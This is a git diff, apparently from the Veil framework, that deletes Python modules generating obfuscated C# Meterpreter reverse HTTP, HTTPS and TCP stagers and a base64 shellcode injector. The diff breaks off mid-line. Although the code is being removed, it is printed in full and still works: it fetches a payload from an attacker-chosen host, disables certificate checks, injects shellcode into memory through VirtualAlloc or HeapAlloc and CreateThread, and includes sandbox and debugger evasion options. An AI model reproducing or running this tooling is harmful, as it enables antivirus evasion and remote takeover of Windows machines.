a/Tools/Evasion/payloads/cs/meterpreter/__init__.py b/Tools/Evasion/payloads/cs/meterpreter/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/cs/meterpreter/rev_http.py b/Tools/Evasion/payloads/cs/meterpreter/rev_http.py deleted file mode 100644 index 31ed826..0000000 --- a/Tools/Evasion/payloads/cs/meterpreter/rev_http.py +++ /dev/null @@ -1,173 +0,0 @@ -""" -Custom-written pure c# meterpreter/reverse_http stager -Uses basic variable renaming obfuscation - -Module built by @harmj0y -Updated for Veil 3 by @evan_pena2003 -""" - -from lib.common import helpers -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import gamemaker -import random - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" - self.language = "cs" - self.extension = "cs" - self.rating = "Excellent" - self.name = "Pure C# Reverse HTTP Stager" - self.path = "cs/meterpreter/rev_http" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user interaction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8080", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - - def generate(self): - - # imports and namespace setup - payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString()) - - # code for the randomString() function - randomStringName = helpers.randomString() - bufferName = helpers.randomString() - charsName = helpers.randomString() - t = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") - random.shuffle(t) - chars = ''.join(t) - - payload_code += "static string %s(Random r, int s) {\n" %(randomStringName) - payload_code += "char[] %s = new char[s];\n"%(bufferName) - payload_code += "string %s = \"%s\";\n" %(charsName, chars) - payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" %(bufferName, charsName, charsName) - payload_code += "return new string(%s);}\n" %(bufferName) - - - # code for the checksum8() function - checksum8Name = helpers.randomString() - payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" %(checksum8Name) - - - # code fo the genHTTPChecksum() function - genHTTPChecksumName = helpers.randomString() - baseStringName = helpers.randomString() - randCharsName = helpers.randomString() - urlName = helpers.randomString() - random.shuffle(t) - randChars = ''.join(t) - - payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName) - payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName) - payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars) - payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName) - payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName) - payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}"%(checksum8Name,urlName, urlName) - - - # code for getData() function - getDataName = helpers.randomString() - strName = helpers.randomString() - webClientName = helpers.randomString() - sName = helpers.randomString() - - payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName) - payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName) - payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName) - payload_code += "byte[] %s = null;\n" %(sName) - payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName) - payload_code += "if (%s.Length < 100000) return null;}\n" %(sName) - payload_code += "catch (WebException) {}\n" - payload_code += "return %s;}\n" %(sName) - - - # code fo the inject() function to inject shellcode - injectName = helpers.randomString() - sName = helpers.randomString() - funcAddrName = helpers.randomString() - hThreadName = helpers.randomString() - threadIdName = helpers.randomString() - pinfoName = helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) - payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) - payload_code += " UInt32 %s = 0;\n" %(threadIdName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) - payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName) - payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) - payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) - payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) - payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) - payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) - - - # code for Main() to launch everything - sName = helpers.randomString() - randomName = helpers.randomString() - curlyCount = 0 - - payload_code += "static void Main(){\n" - - payload_code2, curlyCount = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" %(randomName) - payload_code += "byte[] %s = %s(\"http://%s:%s/\" + %s(%s));\n" %(sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0],genHTTPChecksumName,randomName) - payload_code += "%s(%s);}\n" %(injectName, sName) - - while (curlyCount != 0): - payload_code += '\t' * curlyCount + '}' - curlyCount -= 1 - - # get random variables for the API imports - r = [helpers.randomString() for x in range(12)] - y = [helpers.randomString() for x in range(17)] - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/cs/meterpreter/rev_https.py b/Tools/Evasion/payloads/cs/meterpreter/rev_https.py deleted file mode 100644 index 0fba43b..0000000 --- a/Tools/Evasion/payloads/cs/meterpreter/rev_https.py +++ /dev/null @@ -1,180 +0,0 @@ -""" -Custom-written pure c# meterpreter/reverse_https stager -Uses basic variable renaming obfuscation - -Module built by @harmj0y -Updated by @ChrisTruncer and @evan_pena2003 -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import gamemaker -import random - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.language = "cs" - self.extension = "cs" - self.rating = "Excellent" - self.name = "Pure C# Reverse HTTPS Stager" - self.path = "cs/meterpreter/rev_https" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user interaction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8081", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # imports and namespace setup - payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (evasion_helpers.randomString(), evasion_helpers.randomString()) - - # code for the randomString() function - randomStringName = evasion_helpers.randomString() - bufferName = evasion_helpers.randomString() - charsName = evasion_helpers.randomString() - t = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") - random.shuffle(t) - chars = ''.join(t) - - - # logic to turn off certificate validation - validateServerCertficateName = evasion_helpers.randomString() - payload_code += "private static bool %s(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }\n" %(validateServerCertficateName) - - - # code for the randomString() method - payload_code += "static string %s(Random r, int s) {\n" %(randomStringName) - payload_code += "char[] %s = new char[s];\n"%(bufferName) - payload_code += "string %s = \"%s\";\n" %(charsName, chars) - payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" %(bufferName, charsName, charsName) - payload_code += "return new string(%s);}\n" %(bufferName) - - - # code for the checksum8() function - checksum8Name = evasion_helpers.randomString() - payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" %(checksum8Name) - - - # code fo the genHTTPChecksum() function - genHTTPChecksumName = evasion_helpers.randomString() - baseStringName = evasion_helpers.randomString() - randCharsName = evasion_helpers.randomString() - urlName = evasion_helpers.randomString() - random.shuffle(t) - randChars = ''.join(t) - - payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName) - payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName) - payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars) - payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName) - payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName) - payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}"%(checksum8Name,urlName, urlName) - - - # code for getData() function - getDataName = evasion_helpers.randomString() - strName = evasion_helpers.randomString() - webClientName = evasion_helpers.randomString() - sName = evasion_helpers.randomString() - - payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName) - payload_code += "ServicePointManager.ServerCertificateValidationCallback = %s;\n" %(validateServerCertficateName) - payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName) - payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName) - payload_code += "byte[] %s = null;\n" %(sName) - payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName) - payload_code += "if (%s.Length < 100000) return null;}\n" %(sName) - payload_code += "catch (WebException) {}\n" - payload_code += "return %s;}\n" %(sName) - - - # code fo the inject() function to inject shellcode - injectName = evasion_helpers.randomString() - sName = evasion_helpers.randomString() - funcAddrName = evasion_helpers.randomString() - hThreadName = evasion_helpers.randomString() - threadIdName = evasion_helpers.randomString() - pinfoName = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) - payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) - payload_code += " UInt32 %s = 0;\n" %(threadIdName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) - payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName) - payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) - payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) - payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) - payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) - payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) - - - # code for Main() to launch everything - sName = evasion_helpers.randomString() - randomName = evasion_helpers.randomString() - curlyCount = 0 - - payload_code += "static void Main(){\n" - - payload_code2, curlyCount = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" %(randomName) - payload_code += "byte[] %s = %s(\"https://%s:%s/\" + %s(%s));\n" %(sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0],genHTTPChecksumName,randomName) - payload_code += "%s(%s);}\n" %(injectName, sName) - - while (curlyCount != 0): - payload_code += '\t' * curlyCount + '}' - curlyCount -= 1 - - # get 12 random variables for the API imports - r = [evasion_helpers.randomString() for x in range(12)] - y = [evasion_helpers.randomString() for x in range(17)] - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/cs/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/cs/meterpreter/rev_tcp.py deleted file mode 100644 index ca6302a..0000000 --- a/Tools/Evasion/payloads/cs/meterpreter/rev_tcp.py +++ /dev/null @@ -1,140 +0,0 @@ -""" -Custom-written pure c# meterpreter/reverse_tcp stager -Uses basic variable renaming obfuscation - -Module built by @harmj0y -Updated by @ChrisTruncer and @evan_pena2003 -""" - -from lib.common import helpers -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.language = "cs" - self.extension = "cs" - self.rating = "Excellent" - self.name = "Pure C# Reverse TCP Stager" - self.path = "cs/meterpreter/rev_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user interaction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["4444", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - - - def generate(self): - - getDataName = helpers.randomString() - injectName = helpers.randomString() - - payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString()) - - hostName = helpers.randomString() - portName = helpers.randomString() - ipName = helpers.randomString() - sockName = helpers.randomString() - length_rawName = helpers.randomString() - lengthName = helpers.randomString() - sName = helpers.randomString() - total_bytesName = helpers.randomString() - handleName = helpers.randomString() - - payload_code += "static byte[] %s(string %s, int %s) {\n" %(getDataName, hostName, portName) - payload_code += " IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" %(ipName, hostName, portName) - payload_code += " Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" %(sockName) - payload_code += " try { %s.Connect(%s); }\n" %(sockName, ipName) - payload_code += " catch { return null;}\n" - payload_code += " byte[] %s = new byte[4];\n" %(length_rawName) - payload_code += " %s.Receive(%s, 4, 0);\n" %(sockName, length_rawName) - payload_code += " int %s = BitConverter.ToInt32(%s, 0);\n" %(lengthName, length_rawName) - payload_code += " byte[] %s = new byte[%s + 5];\n" %(sName, lengthName) - payload_code += " int %s = 0;\n" %(total_bytesName) - payload_code += " while (%s < %s)\n" %(total_bytesName, lengthName) - payload_code += " { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" %(total_bytesName, sockName, sName, total_bytesName, lengthName, total_bytesName, lengthName, total_bytesName) - payload_code += " byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" %(handleName, sockName) - payload_code += " Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" %(handleName, sName, sName) - payload_code += " return %s;}\n" %(sName) - - - sName = helpers.randomString() - funcAddrName = helpers.randomString() - hThreadName = helpers.randomString() - threadIdName = helpers.randomString() - pinfoName = helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) - payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) - payload_code += " UInt32 %s = 0;\n" %(threadIdName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) - payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName) - payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) - payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) - payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) - payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) - payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) - - sName = helpers.randomString() - curlyCount = 0 - payload_code += "static void Main(){\n" - - payload_code2, curlyCount = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - payload_code += " byte[] %s = null; %s = %s(\"%s\", %s);\n" %(sName, sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0]) - payload_code += " %s(%s); }\n" %(injectName, sName) - - while (curlyCount != 0): - payload_code += '\t' * curlyCount + '}' - curlyCount -= 1 - - # get 12 random variables for the API imports - r = [helpers.randomString() for x in range(12)] - y = [helpers.randomString() for x in range(17)] - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/cs/shellcode_inject/__init__.py b/Tools/Evasion/payloads/cs/shellcode_inject/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/cs/shellcode_inject/base64.py b/Tools/Evasion/payloads/cs/shellcode_inject/base64.py deleted file mode 100644 index 96cdf8e..0000000 --- a/Tools/Evasion/payloads/cs/shellcode_inject/base64.py +++ /dev/null @@ -1,142 +0,0 @@ -""" -C# inline shellcode injector using the VirtualAlloc()/CreateThread() pattern. -Uses basic variable renaming obfuscation. - -Adapated from code from: - http://webstersprodigy.net/2012/08/31/av-evading-meterpreter-shell-from-a-net-service/ - -Module built by @harmj0y -Updated for Veil 3 by @evan_pena2003 -""" - -import base64 -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.language = "cs" - self.extension = "cs" - self.rating = "Poor" - self.description = "C# VirtualAlloc method for inline shellcode injection" - self.name = "C# Flat Shellcode Injector" - self.path = "cs/shellcode_inject/base64" - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - # Base64 Encode Shellcode - Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) - Shellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii') - - # randomize all our variable names, yo' - namespaceName = evasion_helpers.randomString() - className = evasion_helpers.randomString() - bytearrayName = evasion_helpers.randomString() - funcAddrName = evasion_helpers.randomString() - shellcodeName = evasion_helpers.randomString() - - hThreadName = evasion_helpers.randomString() - threadIdName = evasion_helpers.randomString() - pinfoName = evasion_helpers.randomString() - rand_bool = evasion_helpers.randomString() - random_out = evasion_helpers.randomString() - num_tabs_required = 0 - - # get 12 random variables for the API imports - r = [evasion_helpers.randomString() for x in range(16)] - y = [evasion_helpers.randomString() for x in range(17)] - - #required syntax at the beginning of any/all payloads - payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using 